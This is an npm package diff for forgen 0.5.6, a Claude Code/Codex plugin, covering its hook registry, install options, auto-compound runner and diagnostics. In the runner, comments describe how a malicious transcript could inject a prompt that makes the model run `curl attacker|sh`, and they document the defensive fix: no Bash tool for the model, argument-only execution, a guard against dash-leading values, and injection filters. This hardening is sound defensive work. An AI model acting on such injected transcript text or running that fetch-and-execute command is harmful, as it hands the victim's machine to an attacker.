@wooojin/forgen 0.5.0 → 0.5.6

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (67) hide show
  1. package/.claude-plugin/plugin.json +1 -1
  2. package/CHANGELOG.md +236 -0
  3. package/README.ja.md +16 -8
  4. package/README.ko.md +17 -9
  5. package/README.md +6 -1
  6. package/README.zh.md +16 -8
  7. package/assets/claude/skills/verify/SKILL.md +66 -0
  8. package/assets/shared/hook-registry.json +217 -22
  9. package/dist/cli.js +7 -3
  10. package/dist/core/auto-compound-runner.js +73 -14
  11. package/dist/core/changelog-cli.d.ts +4 -1
  12. package/dist/core/changelog-cli.js +8 -7
  13. package/dist/core/compound-sweep-cli.d.ts +4 -1
  14. package/dist/core/compound-sweep-cli.js +25 -5
  15. package/dist/core/doctor.js +37 -0
  16. package/dist/core/spawn.d.ts +26 -0
  17. package/dist/core/spawn.js +38 -3
  18. package/dist/core/uninstall.d.ts +7 -0
  19. package/dist/core/uninstall.js +46 -1
  20. package/dist/engine/compound-loop.js +20 -1
  21. package/dist/hooks/context-guard.d.ts +3 -0
  22. package/dist/hooks/context-guard.js +16 -8
  23. package/dist/hooks/hook-config.js +5 -0
  24. package/dist/hooks/hook-registry.d.ts +17 -1
  25. package/dist/hooks/hooks-generator.d.ts +2 -0
  26. package/dist/hooks/hooks-generator.js +8 -1
  27. package/dist/hooks/session-end.d.ts +41 -0
  28. package/dist/hooks/session-end.js +113 -0
  29. package/dist/hooks/session-recovery.js +18 -1
  30. package/dist/hooks/shared/hook-timing.js +6 -1
  31. package/dist/host/codex-adapter.js +5 -0
  32. package/dist/host/codex-hook-alive.d.ts +23 -0
  33. package/dist/host/codex-hook-alive.js +51 -0
  34. package/dist/host/codex-notify.d.ts +55 -0
  35. package/dist/host/codex-notify.js +153 -0
  36. package/dist/host/codex-rollout.d.ts +21 -0
  37. package/dist/host/codex-rollout.js +82 -0
  38. package/dist/host/codex-rules-context.d.ts +25 -0
  39. package/dist/host/codex-rules-context.js +62 -0
  40. package/dist/host/exec-host.d.ts +10 -0
  41. package/dist/host/exec-host.js +18 -3
  42. package/dist/host/install-claude.d.ts +14 -0
  43. package/dist/host/install-claude.js +53 -0
  44. package/dist/host/install-codex.d.ts +120 -0
  45. package/dist/host/install-codex.js +560 -52
  46. package/dist/host/install-orchestrator.d.ts +4 -0
  47. package/dist/host/install-orchestrator.js +32 -2
  48. package/dist/host/invoke-agent.js +1 -0
  49. package/dist/host/parity-harness.js +7 -3
  50. package/dist/host/projection.d.ts +37 -3
  51. package/dist/host/projection.js +93 -42
  52. package/dist/store/evidence-store.js +121 -57
  53. package/dist/store/rule-store.d.ts +41 -0
  54. package/dist/store/rule-store.js +77 -2
  55. package/hooks/hooks.json +13 -1
  56. package/package.json +1 -1
  57. package/plugin.json +1 -1
  58. package/skills/architecture-decision/SKILL.md +18 -0
  59. package/skills/calibrate/SKILL.md +18 -0
  60. package/skills/code-review/SKILL.md +17 -0
  61. package/skills/compound/SKILL.md +17 -0
  62. package/skills/deep-interview/SKILL.md +7 -0
  63. package/skills/docker/SKILL.md +18 -0
  64. package/skills/forge-loop/SKILL.md +23 -0
  65. package/skills/learn/SKILL.md +15 -0
  66. package/skills/retro/SKILL.md +16 -0
  67. package/skills/ship/SKILL.md +18 -0
@@ -1,24 +1,219 @@
1
1
  [
2
- { "name": "notepad-injector", "tier": "compound-core", "event": "UserPromptSubmit", "matcher": "*", "script": "hooks/notepad-injector.js", "timeout": 3, "compoundCritical": false },
3
- { "name": "context-guard", "tier": "compound-core", "event": "UserPromptSubmit", "matcher": "*", "script": "hooks/context-guard.js", "timeout": 2, "compoundCritical": false },
4
- { "name": "session-recovery", "tier": "compound-core", "event": "SessionStart", "matcher": "*", "script": "hooks/session-recovery.js", "timeout": 3, "compoundCritical": true },
5
- { "name": "post-tool-use", "tier": "compound-core", "event": "PostToolUse", "matcher": "*", "script": "hooks/post-tool-use.js", "timeout": 3, "compoundCritical": true },
6
- { "name": "pre-compact", "tier": "compound-core", "event": "PreCompact", "matcher": "*", "script": "hooks/pre-compact.js", "timeout": 3, "compoundCritical": false },
7
- { "name": "context-guard-stop", "tier": "compound-core", "event": "Stop", "matcher": "*", "script": "hooks/context-guard.js", "timeout": 5, "compoundCritical": false },
8
- { "name": "stop-guard", "tier": "compound-core", "event": "Stop", "matcher": "*", "script": "hooks/stop-guard.js", "timeout": 10, "compoundCritical": true },
9
- { "name": "pre-tool-use", "tier": "compound-core", "event": "PreToolUse", "matcher": "*", "script": "hooks/pre-tool-use.js", "timeout": 3, "compoundCritical": true },
10
- { "name": "secret-filter", "tier": "safety", "event": "PostToolUse", "matcher": "Write|Edit|Bash", "script": "hooks/secret-filter.js", "timeout": 3, "compoundCritical": false },
11
- { "name": "slop-detector", "tier": "safety", "event": "PostToolUse", "matcher": "Write|Edit", "script": "hooks/slop-detector.js", "timeout": 3, "compoundCritical": false },
12
- { "name": "db-guard", "tier": "safety", "event": "PreToolUse", "matcher": "Bash", "script": "hooks/db-guard.js", "timeout": 3, "compoundCritical": false },
13
- { "name": "rate-limiter", "tier": "safety", "event": "PreToolUse", "matcher": "*", "script": "hooks/rate-limiter.js", "timeout": 2, "compoundCritical": false },
14
- { "name": "intent-classifier", "tier": "workflow", "event": "UserPromptSubmit", "matcher": "*", "script": "hooks/intent-classifier.js", "timeout": 3, "compoundCritical": false },
15
- { "name": "keyword-detector", "tier": "workflow", "event": "UserPromptSubmit", "matcher": "*", "script": "hooks/keyword-detector.js", "timeout": 5, "compoundCritical": false },
16
- { "name": "permission-handler", "tier": "workflow", "event": "PermissionRequest", "matcher": "*", "script": "hooks/permission-handler.js", "timeout": 2, "compoundCritical": false },
17
- { "name": "subagent-tracker-start", "tier": "workflow", "event": "SubagentStart", "matcher": "*", "script": "hooks/subagent-tracker.js start", "timeout": 2, "compoundCritical": false },
18
- { "name": "subagent-tracker-stop", "tier": "workflow", "event": "SubagentStop", "matcher": "*", "script": "hooks/subagent-tracker.js stop", "timeout": 2, "compoundCritical": false },
19
- { "name": "subagent-stop-guard", "tier": "workflow", "event": "SubagentStop", "matcher": "*", "script": "hooks/subagent-stop-guard.js", "timeout": 10, "compoundCritical": false },
20
- { "name": "post-tool-failure", "tier": "workflow", "event": "PostToolUseFailure", "matcher": "*", "script": "hooks/post-tool-failure.js", "timeout": 3, "compoundCritical": false },
21
- { "name": "solution-injector", "tier": "compound-core", "event": "UserPromptSubmit", "matcher": "*", "script": "hooks/solution-injector.js", "timeout": 5, "compoundCritical": true },
22
- { "name": "skill-injector", "tier": "compound-core", "event": "UserPromptSubmit", "matcher": "*", "script": "hooks/skill-injector.js", "timeout": 5, "compoundCritical": true },
23
- { "name": "forge-loop-progress", "tier": "compound-core", "event": "UserPromptSubmit", "matcher": "*", "script": "hooks/forge-loop-progress.js", "timeout": 2, "compoundCritical": false }
2
+ {
3
+ "name": "notepad-injector",
4
+ "tier": "compound-core",
5
+ "event": "UserPromptSubmit",
6
+ "matcher": "*",
7
+ "script": "hooks/notepad-injector.js",
8
+ "timeout": 3,
9
+ "compoundCritical": false
10
+ },
11
+ {
12
+ "name": "context-guard",
13
+ "tier": "compound-core",
14
+ "event": "UserPromptSubmit",
15
+ "matcher": "*",
16
+ "script": "hooks/context-guard.js",
17
+ "timeout": 2,
18
+ "compoundCritical": false
19
+ },
20
+ {
21
+ "name": "session-recovery",
22
+ "tier": "compound-core",
23
+ "event": "SessionStart",
24
+ "matcher": "*",
25
+ "script": "hooks/session-recovery.js",
26
+ "timeout": 3,
27
+ "compoundCritical": true,
28
+ "codex": {
29
+ "additionalContextLimit": 0
30
+ }
31
+ },
32
+ {
33
+ "name": "post-tool-use",
34
+ "tier": "compound-core",
35
+ "event": "PostToolUse",
36
+ "matcher": "*",
37
+ "script": "hooks/post-tool-use.js",
38
+ "timeout": 3,
39
+ "compoundCritical": true
40
+ },
41
+ {
42
+ "name": "pre-compact",
43
+ "tier": "compound-core",
44
+ "event": "PreCompact",
45
+ "matcher": "*",
46
+ "script": "hooks/pre-compact.js",
47
+ "timeout": 3,
48
+ "compoundCritical": false
49
+ },
50
+ {
51
+ "name": "context-guard-stop",
52
+ "tier": "compound-core",
53
+ "event": "Stop",
54
+ "matcher": "*",
55
+ "script": "hooks/context-guard.js",
56
+ "timeout": 5,
57
+ "compoundCritical": false
58
+ },
59
+ {
60
+ "name": "stop-guard",
61
+ "tier": "compound-core",
62
+ "event": "Stop",
63
+ "matcher": "*",
64
+ "script": "hooks/stop-guard.js",
65
+ "timeout": 10,
66
+ "compoundCritical": true
67
+ },
68
+ {
69
+ "name": "pre-tool-use",
70
+ "tier": "compound-core",
71
+ "event": "PreToolUse",
72
+ "matcher": "*",
73
+ "script": "hooks/pre-tool-use.js",
74
+ "timeout": 3,
75
+ "compoundCritical": true
76
+ },
77
+ {
78
+ "name": "secret-filter",
79
+ "tier": "safety",
80
+ "event": "PostToolUse",
81
+ "matcher": "Write|Edit|Bash",
82
+ "script": "hooks/secret-filter.js",
83
+ "timeout": 3,
84
+ "compoundCritical": false
85
+ },
86
+ {
87
+ "name": "slop-detector",
88
+ "tier": "safety",
89
+ "event": "PostToolUse",
90
+ "matcher": "Write|Edit",
91
+ "script": "hooks/slop-detector.js",
92
+ "timeout": 3,
93
+ "compoundCritical": false
94
+ },
95
+ {
96
+ "name": "db-guard",
97
+ "tier": "safety",
98
+ "event": "PreToolUse",
99
+ "matcher": "Bash",
100
+ "script": "hooks/db-guard.js",
101
+ "timeout": 3,
102
+ "compoundCritical": false
103
+ },
104
+ {
105
+ "name": "rate-limiter",
106
+ "tier": "safety",
107
+ "event": "PreToolUse",
108
+ "matcher": "*",
109
+ "script": "hooks/rate-limiter.js",
110
+ "timeout": 2,
111
+ "compoundCritical": false
112
+ },
113
+ {
114
+ "name": "intent-classifier",
115
+ "tier": "workflow",
116
+ "event": "UserPromptSubmit",
117
+ "matcher": "*",
118
+ "script": "hooks/intent-classifier.js",
119
+ "timeout": 3,
120
+ "compoundCritical": false
121
+ },
122
+ {
123
+ "name": "keyword-detector",
124
+ "tier": "workflow",
125
+ "event": "UserPromptSubmit",
126
+ "matcher": "*",
127
+ "script": "hooks/keyword-detector.js",
128
+ "timeout": 5,
129
+ "compoundCritical": false
130
+ },
131
+ {
132
+ "name": "permission-handler",
133
+ "tier": "workflow",
134
+ "event": "PermissionRequest",
135
+ "matcher": "*",
136
+ "script": "hooks/permission-handler.js",
137
+ "timeout": 2,
138
+ "compoundCritical": false
139
+ },
140
+ {
141
+ "name": "subagent-tracker-start",
142
+ "tier": "workflow",
143
+ "event": "SubagentStart",
144
+ "matcher": "*",
145
+ "script": "hooks/subagent-tracker.js start",
146
+ "timeout": 2,
147
+ "compoundCritical": false
148
+ },
149
+ {
150
+ "name": "subagent-tracker-stop",
151
+ "tier": "workflow",
152
+ "event": "SubagentStop",
153
+ "matcher": "*",
154
+ "script": "hooks/subagent-tracker.js stop",
155
+ "timeout": 2,
156
+ "compoundCritical": false
157
+ },
158
+ {
159
+ "name": "subagent-stop-guard",
160
+ "tier": "workflow",
161
+ "event": "SubagentStop",
162
+ "matcher": "*",
163
+ "script": "hooks/subagent-stop-guard.js",
164
+ "timeout": 10,
165
+ "compoundCritical": false
166
+ },
167
+ {
168
+ "name": "post-tool-failure",
169
+ "tier": "workflow",
170
+ "event": "PostToolUseFailure",
171
+ "matcher": "*",
172
+ "script": "hooks/post-tool-failure.js",
173
+ "timeout": 3,
174
+ "compoundCritical": false,
175
+ "hosts": [
176
+ "claude"
177
+ ]
178
+ },
179
+ {
180
+ "name": "solution-injector",
181
+ "tier": "compound-core",
182
+ "event": "UserPromptSubmit",
183
+ "matcher": "*",
184
+ "script": "hooks/solution-injector.js",
185
+ "timeout": 5,
186
+ "compoundCritical": true
187
+ },
188
+ {
189
+ "name": "skill-injector",
190
+ "tier": "compound-core",
191
+ "event": "UserPromptSubmit",
192
+ "matcher": "*",
193
+ "script": "hooks/skill-injector.js",
194
+ "timeout": 5,
195
+ "compoundCritical": true
196
+ },
197
+ {
198
+ "name": "forge-loop-progress",
199
+ "tier": "compound-core",
200
+ "event": "UserPromptSubmit",
201
+ "matcher": "*",
202
+ "script": "hooks/forge-loop-progress.js",
203
+ "timeout": 2,
204
+ "compoundCritical": false
205
+ },
206
+ {
207
+ "name": "session-end",
208
+ "tier": "compound-core",
209
+ "event": "SessionEnd",
210
+ "matcher": "*",
211
+ "script": "hooks/session-end.js",
212
+ "timeout": 3,
213
+ "compoundCritical": true,
214
+ "hosts": [
215
+ "claude",
216
+ "codex"
217
+ ]
218
+ }
24
219
  ]
package/dist/cli.js CHANGED
@@ -181,19 +181,23 @@ const commands = [
181
181
  },
182
182
  {
183
183
  name: 'install',
184
- description: 'Install forgen into a host. Usage: forgen install [claude|codex|opencode|both] [--dry-run] [--no-mcp]',
184
+ description: 'Install forgen into a host. Usage: forgen install [claude|codex|opencode|both] [--dry-run] [--no-mcp] [--no-notify] [--no-verify-skill]',
185
185
  handler: async (args) => {
186
186
  const knownSubs = new Set(['claude', 'codex', 'opencode', 'both']);
187
187
  const target = args[0] && knownSubs.has(args[0]) ? args[0] : args[0]?.startsWith('--') ? undefined : args[0];
188
188
  if (target !== undefined && !knownSubs.has(target)) {
189
- console.log('Usage:\n forgen install [claude|codex|opencode|both] [--dry-run] [--no-mcp]\n\n No arg → interactive 3-choice (Claude/Codex/Both). opencode: 명시 타겟(P1 실험적).');
189
+ console.log('Usage:\n forgen install [claude|codex|opencode|both] [--dry-run] [--no-mcp] [--no-notify] [--no-verify-skill]\n\n No arg → interactive 3-choice (Claude/Codex/Both). opencode: 명시 타겟(P1 실험적).\n --no-notify: Codex config.toml 에 notify 폴백을 등록하지 않음.\n --no-verify-skill: Claude ~/.claude/skills/verify 를 설치하지 않음.');
190
190
  return;
191
191
  }
192
192
  const dryRun = args.includes('--dry-run');
193
193
  const registerMcp = !args.includes('--no-mcp');
194
194
  const { runInstall, renderResult, resolvePkgRootFromBinary } = await import('./host/install-orchestrator.js');
195
195
  const pkgRoot = resolvePkgRootFromBinary(import.meta.url);
196
- const result = await runInstall({ target, pkgRoot, dryRun, registerMcp });
196
+ const result = await runInstall({
197
+ target, pkgRoot, dryRun, registerMcp,
198
+ registerNotify: !args.includes('--no-notify'),
199
+ installVerifySkill: !args.includes('--no-verify-skill'),
200
+ });
197
201
  if (result === null) {
198
202
  console.log('\n [forgen] Install skipped.');
199
203
  return;
@@ -49,7 +49,10 @@ function execClaudeRetry(args, opts) {
49
49
  const MAX_ATTEMPTS = 2;
50
50
  for (let attempt = 1; attempt <= MAX_ATTEMPTS; attempt++) {
51
51
  try {
52
- return execFileSync('claude', args, opts);
52
+ return execFileSync('claude', mod.withNestedRunClaudeArgs(args), {
53
+ ...opts,
54
+ env: { ...process.env, ...(opts.env ?? {}), ...mod.NESTED_RUN_ENV },
55
+ });
53
56
  }
54
57
  catch (e) {
55
58
  const msg = e instanceof Error ? e.message : String(e);
@@ -122,7 +125,10 @@ export async function execClaudeRetryAsync(args, opts) {
122
125
  const MAX_ATTEMPTS = 2;
123
126
  for (let attempt = 1; attempt <= MAX_ATTEMPTS; attempt++) {
124
127
  try {
125
- const { stdout } = await execFileAsync('claude', args, opts);
128
+ const { stdout } = await execFileAsync('claude', mod.withNestedRunClaudeArgs(args), {
129
+ ...opts,
130
+ env: { ...process.env, ...(opts.env ?? {}), ...mod.NESTED_RUN_ENV },
131
+ });
126
132
  return typeof stdout === 'string' ? stdout : stdout.toString();
127
133
  }
128
134
  catch (e) {
@@ -359,31 +365,84 @@ try {
359
365
  }
360
366
  }
361
367
  catch { /* ignore */ }
368
+ // 결함2 corrected fix (2026-08-19): 이전엔 모델에게 `Bash(forgen compound:*)` 도구를 주고
369
+ // forgen compound 를 "직접 실행"시켰으나, headless haiku 는 도구 호출이 근본적으로
370
+ // 불안정해(라이브 확증: 동일 조건에서 실행/미실행 1↔0 오락가락) 산출이 forgen 생애
371
+ // 통틀어 0건이었다. 이제 behavior 경로와 동일하게 — 모델은 재사용 솔루션을 텍스트로만
372
+ // 출력하고(안정적), 러너가 파싱해 forgen 을 직접 실행한다.
373
+ // 이점: (a) 모델에 Bash 도구를 아예 주지 않으므로 P1-S1 인젝션 표면 제거 — 모델 출력은
374
+ // 파싱·필터를 거쳐 execFileSync 의 *인자*로만 쓰이고 셸을 거치지 않아 임의 명령 실행 불가.
375
+ // (b) 도구 호출 신뢰성 문제 제거. (c) forgen 을 이 러너 node 의 형제 바이너리(절대경로)로
376
+ // 호출해 cron sparse PATH 에 forgen 이 없던 문제(라이브 확증)도 해소.
362
377
  const solutionPrompt = `다음은 이전 Claude Code 세션의 대화 요약입니다.
363
- 미래 세션에서 재사용할 수 있는 패턴, 해결책, 의사결정을 추출해주세요.
378
+ 미래 세션에서 재사용할 수 있는 패턴/해결책/의사결정을 추출해주세요.
379
+ 각 항목을 정확히 아래 한 줄 형식으로만 출력하세요 (다른 설명 없이, 코드블록도 불필요):
380
+ forgen compound --solution "제목" "설명 (무엇 + 왜 + 어떻게 적용)"
364
381
 
365
- 각 항목은 반드시 다음을 포함해야 합니다:
366
- - **제목**: 구체적이고 검색 가능한 이름 (예: "vitest-mock-esm-pattern", "react-state-lifting-decision")
367
- - **설명**: (1) 무엇을 했는지 (2) 왜 그렇게 했는지 (3) 어떻게 적용하는지
368
-
369
- 형식: forgen compound --solution "제목" "설명 (why + how to apply)"
382
+ - 제목: 구체적이고 검색 가능한 이름 (예: "react-high-frequency-event-raf-throttle")
383
+ - 설명: (1) 무엇을 했는지 (2) 왜 그렇게 했는지 (3) 어떻게 적용하는지
370
384
  추출할 것이 없으면 "추출할 패턴 없음"이라고만 답하세요.
371
385
  최대 3개. 피상적인 관찰(예: "TypeScript를 사용함")은 제외. 기존 솔루션과 중복 금지.${existingList}
372
386
 
373
387
  ---
374
388
  ${sanitizedSummary.slice(0, 6000)}
375
389
  ---`;
376
- // P1-S1 fix (2026-04-20): 과거에는 `--allowedTools Bash`로 전체 Bash 권한을 줘서
377
- // 악성 transcript(공급망 인젝션)가 filter를 우회해 `curl attacker|sh` 같은 명령을
378
- // 피해자 권한으로 실행시킬 수 있었다. 이제 `Bash(forgen compound:*)`로 좁혀 Claude
379
- // 가 compound 추출용 forgen CLI 호출만 가능하게 한다. filter-bypass 시에도 임의
380
- // 명령 실행 차단.
390
+ let solutionOutput = '';
381
391
  try {
382
- extractViaHaiku(['-p', solutionPrompt, '--allowedTools', 'Bash(forgen compound:*)', '--model', COMPOUND_MODEL], { cwd, timeout: 90_000, stdio: ['pipe', 'ignore', 'pipe'] });
392
+ solutionOutput = extractViaHaiku(['-p', solutionPrompt, '--model', COMPOUND_MODEL], { cwd, timeout: 90_000, encoding: 'utf-8' }) || '';
383
393
  }
384
394
  catch (e) {
385
395
  process.stderr.write(`[forgen-auto-compound] solution extraction: ${e instanceof Error ? e.message : String(e)}\n`);
386
396
  }
397
+ // 모델 출력에서 `--solution "제목" "설명"` 을 파싱해 forgen 을 직접 실행(결정론적).
398
+ // forgen 은 이 러너를 돌리는 node 의 형제 바이너리를 절대경로로 호출 — sparse PATH 의존 제거.
399
+ const nodeBinDir = path.dirname(process.execPath);
400
+ const forgenBin = fs.existsSync(path.join(nodeBinDir, 'forgen'))
401
+ ? path.join(nodeBinDir, 'forgen')
402
+ : 'forgen';
403
+ const solutionArgRe = /--solution\s+"((?:[^"\\]|\\.)+)"\s+"((?:[^"\\]|\\.)+)"/g;
404
+ let match;
405
+ let extractedCount = 0;
406
+ // biome-ignore lint/suspicious/noAssignInExpressions: regex exec 루프 관용구
407
+ while ((match = solutionArgRe.exec(solutionOutput)) !== null && extractedCount < 3) {
408
+ const title = match[1].replace(/\\"/g, '"').trim();
409
+ const rawContent = match[2].replace(/\\"/g, '"').trim();
410
+ if (!title || rawContent.length < 20)
411
+ continue;
412
+ // 보안(argument confusion): title/content 는 untrusted 모델 출력이다. execFileSync
413
+ // 인자로 넘기므로 셸 인젝션은 없지만, '-' 로 시작하면 forgen 의 인자 파서가 이를
414
+ // 플래그로 오해석할 수 있다(예: 악성 title "--remove" → 삭제 분기). 정상 제목/설명은
415
+ // '-' 로 시작하지 않으므로 대시-선두 값은 스킵한다. (handleCompound 의 위치인자 파서가
416
+ // startsWith('--') 를 필터하는 것에 더해 러너에서 원천 차단.)
417
+ if (title.startsWith('-') || rawContent.startsWith('-')) {
418
+ process.stderr.write('[forgen-auto-compound] solution: dash-leading title/content, skipping (arg-confusion guard)\n');
419
+ continue;
420
+ }
421
+ // 모델 출력은 untrusted transcript 파생 — 저장 전 injection/exfil 필터(defense in depth).
422
+ if (containsPromptInjection(`${title} ${rawContent}`)) {
423
+ process.stderr.write('[forgen-auto-compound] solution: injection detected in LLM output, skipping\n');
424
+ continue;
425
+ }
426
+ const contentScan = filterSolutionContent(rawContent);
427
+ if (contentScan.verdict === 'block') {
428
+ process.stderr.write('[forgen-auto-compound] solution: content blocked by filter, skipping\n');
429
+ continue;
430
+ }
431
+ try {
432
+ // title/content 는 execFileSync 의 *인자*로만 전달 — 셸 미경유라 메타문자가 있어도
433
+ // 명령 인젝션 불가. FORGEN_HOME 등 env 는 그대로 상속되어 올바른 스토어에 기록된다.
434
+ execFileSync(forgenBin, ['compound', '--solution', title, contentScan.sanitized], {
435
+ cwd,
436
+ timeout: 20_000,
437
+ stdio: ['ignore', 'ignore', 'pipe'],
438
+ env: { ...process.env, PATH: `${nodeBinDir}${path.delimiter}${process.env.PATH ?? ''}` },
439
+ });
440
+ extractedCount++;
441
+ }
442
+ catch (e) {
443
+ process.stderr.write(`[forgen-auto-compound] solution write: ${e instanceof Error ? e.message : String(e)}\n`);
444
+ }
445
+ }
387
446
  // Post-extraction quality validation: remove files that fail lightweight gates
388
447
  const removedCount = validateSolutionFiles(solutionsBefore);
389
448
  if (removedCount > 0) {
@@ -4,4 +4,7 @@
4
4
  * Reads git log between the latest vX.Y.Z tag and HEAD, groups by
5
5
  * conventional commit type, and outputs a ready-to-paste changelog.
6
6
  */
7
- export declare function handleChangelog(): Promise<void>;
7
+ /** `opts.cwd`: git 저장소 위치 (기본 process.cwd()). 테스트 fixture 용. */
8
+ export declare function handleChangelog(opts?: {
9
+ cwd?: string;
10
+ }): Promise<void>;
@@ -14,23 +14,23 @@ const C = {
14
14
  green: isTTY ? '\x1b[32m' : '',
15
15
  yellow: isTTY ? '\x1b[33m' : '',
16
16
  };
17
- function getLatestTag() {
17
+ function getLatestTag(cwd) {
18
18
  try {
19
19
  return execFileSync('git', ['describe', '--tags', '--abbrev=0'], {
20
- encoding: 'utf-8', timeout: 5000, stdio: ['pipe', 'pipe', 'pipe'],
20
+ encoding: 'utf-8', timeout: 5000, stdio: ['pipe', 'pipe', 'pipe'], cwd,
21
21
  }).trim();
22
22
  }
23
23
  catch {
24
24
  return null;
25
25
  }
26
26
  }
27
- function getCommitsSince(tag) {
27
+ function getCommitsSince(tag, cwd) {
28
28
  try {
29
29
  const args = tag
30
30
  ? ['log', `${tag}..HEAD`, '--oneline', '--no-merges']
31
31
  : ['log', '--oneline', '--no-merges', '-30'];
32
32
  return execFileSync('git', args, {
33
- encoding: 'utf-8', timeout: 10000, stdio: ['pipe', 'pipe', 'pipe'],
33
+ encoding: 'utf-8', timeout: 10000, stdio: ['pipe', 'pipe', 'pipe'], cwd,
34
34
  }).trim().split('\n').filter(Boolean);
35
35
  }
36
36
  catch {
@@ -55,9 +55,10 @@ const TYPE_ORDER = {
55
55
  chore: { label: 'Maintenance', order: 6 },
56
56
  other: { label: 'Other', order: 7 },
57
57
  };
58
- export async function handleChangelog() {
59
- const tag = getLatestTag();
60
- const rawCommits = getCommitsSince(tag);
58
+ /** `opts.cwd`: git 저장소 위치 (기본 process.cwd()). 테스트 fixture 용. */
59
+ export async function handleChangelog(opts = {}) {
60
+ const tag = getLatestTag(opts.cwd);
61
+ const rawCommits = getCommitsSince(tag, opts.cwd);
61
62
  if (rawCommits.length === 0) {
62
63
  console.log(`\n ${C.dim}No commits since ${tag ?? 'beginning'}.${C.reset}\n`);
63
64
  return;
@@ -52,6 +52,9 @@ export interface CronOpResult {
52
52
  export declare function installCron(): CronOpResult;
53
53
  export declare function uninstallCron(): CronOpResult;
54
54
  export declare function cronStatus(): CronOpResult;
55
- /** CLI: forgen compound sweep [--dry-run|--install-cron|--uninstall-cron|--cron-status] [--window-hours N] [--stale-hours M] */
55
+ /**
56
+ * CLI: forgen compound sweep [--dry-run|--install-cron|--uninstall-cron|--cron-status]
57
+ * [--window-hours N] [--stale-hours M] [--prune-removed [--apply] [--retention-days N]]
58
+ */
56
59
  export declare function compoundSweepCli(args: string[]): void;
57
60
  export {};
@@ -17,6 +17,7 @@ import { fileURLToPath } from 'node:url';
17
17
  import { STATE_DIR } from './paths.js';
18
18
  import { runAutoCompound } from './spawn.js';
19
19
  import { createLogger } from './logger.js';
20
+ import { pruneRemovedRules } from '../store/rule-store.js';
20
21
  const log = createLogger('compound-sweep');
21
22
  export const DEFAULT_SWEEP_OPTS = {
22
23
  windowMs: 24 * 60 * 60 * 1000,
@@ -317,8 +318,15 @@ export function cronStatus() {
317
318
  return { ok: false, message: e.message };
318
319
  }
319
320
  }
320
- /** CLI: forgen compound sweep [--dry-run|--install-cron|--uninstall-cron|--cron-status] [--window-hours N] [--stale-hours M] */
321
+ /**
322
+ * CLI: forgen compound sweep [--dry-run|--install-cron|--uninstall-cron|--cron-status]
323
+ * [--window-hours N] [--stale-hours M] [--prune-removed [--apply] [--retention-days N]]
324
+ */
321
325
  export function compoundSweepCli(args) {
326
+ const num = (flag) => {
327
+ const i = args.indexOf(flag);
328
+ return i >= 0 && args[i + 1] ? Number(args[i + 1]) : undefined;
329
+ };
322
330
  // cron 관리 플래그 (상호배타 — 우선 처리)
323
331
  if (args.includes('--install-cron')) {
324
332
  const r = installCron();
@@ -333,11 +341,23 @@ export function compoundSweepCli(args) {
333
341
  console.log(`[forgen compound sweep] cron: ${cronStatus().message}`);
334
342
  return;
335
343
  }
344
+ // (D) removed 상태 rule 파일 정리. `forgen compound prune` 전용 top-level 커맨드
345
+ // 대신 sweep 을 확장한 형태로 노출 — cli.ts 라우팅(현재 `compound sweep`만 위임)을
346
+ // 건드리지 않기 위한 선택. 기본 dry-run — 실제 삭제는 --apply 명시 시에만.
347
+ if (args.includes('--prune-removed')) {
348
+ const apply = args.includes('--apply');
349
+ const retentionDays = num('--retention-days');
350
+ const r = pruneRemovedRules({
351
+ apply,
352
+ ...(retentionDays ? { retentionMs: retentionDays * 24 * 3600_000 } : {}),
353
+ });
354
+ console.log(`[forgen compound sweep --prune-removed] candidates=${r.candidates.length} ` +
355
+ (apply
356
+ ? `deleted=${r.deleted.length}`
357
+ : `(dry-run — add --apply to delete)${r.candidates.length ? ` [${r.candidates.map((id) => id.slice(0, 8)).join(', ')}]` : ''}`));
358
+ return;
359
+ }
336
360
  const dryRun = args.includes('--dry-run');
337
- const num = (flag) => {
338
- const i = args.indexOf(flag);
339
- return i >= 0 && args[i + 1] ? Number(args[i + 1]) : undefined;
340
- };
341
361
  const wh = num('--window-hours');
342
362
  const sh = num('--stale-hours');
343
363
  const r = runCompoundSweep({
@@ -52,6 +52,41 @@ function relativeTime(isoString) {
52
52
  }
53
53
  return `${diffDays}d ago`;
54
54
  }
55
+ /** ADR-014 D4 — [Codex Hooks] 섹션: hooks.json forgen 엔트리의 Codex trust 기록 대조 */
56
+ async function renderCodexHookTrust() {
57
+ try {
58
+ const codexHome = process.env.CODEX_HOME ?? path.join(os.homedir(), '.codex');
59
+ const hooksPath = path.join(codexHome, 'hooks.json');
60
+ if (!fs.existsSync(hooksPath))
61
+ return; // Codex 미설치/미등록 — 섹션 생략
62
+ const { auditCodexHookTrust } = await import('../host/install-codex.js');
63
+ // pkgRoot: dist/core/doctor.js → 두 단계 위. 어차피 FORGEN_HOOK_SCRIPT_MARKER fallback 이 있어 정확도 비의존.
64
+ const pkgRoot = path.resolve(path.dirname(fileURLToPath(import.meta.url)), '..', '..');
65
+ const t = auditCodexHookTrust({ hooksPath, configTomlPath: path.join(codexHome, 'config.toml'), pkgRoot });
66
+ console.log(' [Codex Hooks]');
67
+ if (t.total === 0) {
68
+ console.log(' △ hooks.json 에 forgen hook 없음 — forgen install codex');
69
+ }
70
+ else if (t.trusted === t.total) {
71
+ console.log(` ✓ ${t.trusted}/${t.total} forgen hooks trusted by Codex`);
72
+ }
73
+ else if (t.noStateRecorded) {
74
+ console.log(` △ ${t.total} forgen hooks registered, Codex trust 기록 없음 — codex 안에서 /hooks 로 승인 (미승인 훅은 skip 됨)`);
75
+ }
76
+ else {
77
+ const pending = [...t.modified.map((k) => `${k} modified`), ...t.untrusted.map((k) => `${k} new`), ...t.disabled.map((k) => `${k} disabled`)];
78
+ console.log(` ✗ ${pending.length}/${t.total} forgen hooks skipped by Codex (${pending.slice(0, 4).join(', ')}${pending.length > 4 ? ', …' : ''}) — codex 안에서 /hooks 로 승인`);
79
+ }
80
+ // ADR-016 D1 — notify 폴백이 관측한 "턴은 끝났는데 forgen 훅이 돌지 않음"
81
+ const { readCodexHooksSilent } = await import('../host/codex-notify.js');
82
+ const silent = readCodexHooksSilent();
83
+ // 1회 관측은 Stop 훅이 돌지 않는 내부 서브세션(/review 등)의 notify 일 수 있다 — 연속 2회부터 표시.
84
+ if (silent && silent.count >= 2) {
85
+ console.log(` ✗ notify 폴백 관측: 최근 Codex 턴 ${silent.count}회에서 forgen 훅 미발화 (마지막 ${silent.detectedAt}, session ${silent.sessionId.slice(0, 8)}) — /hooks 승인 필요`);
86
+ }
87
+ }
88
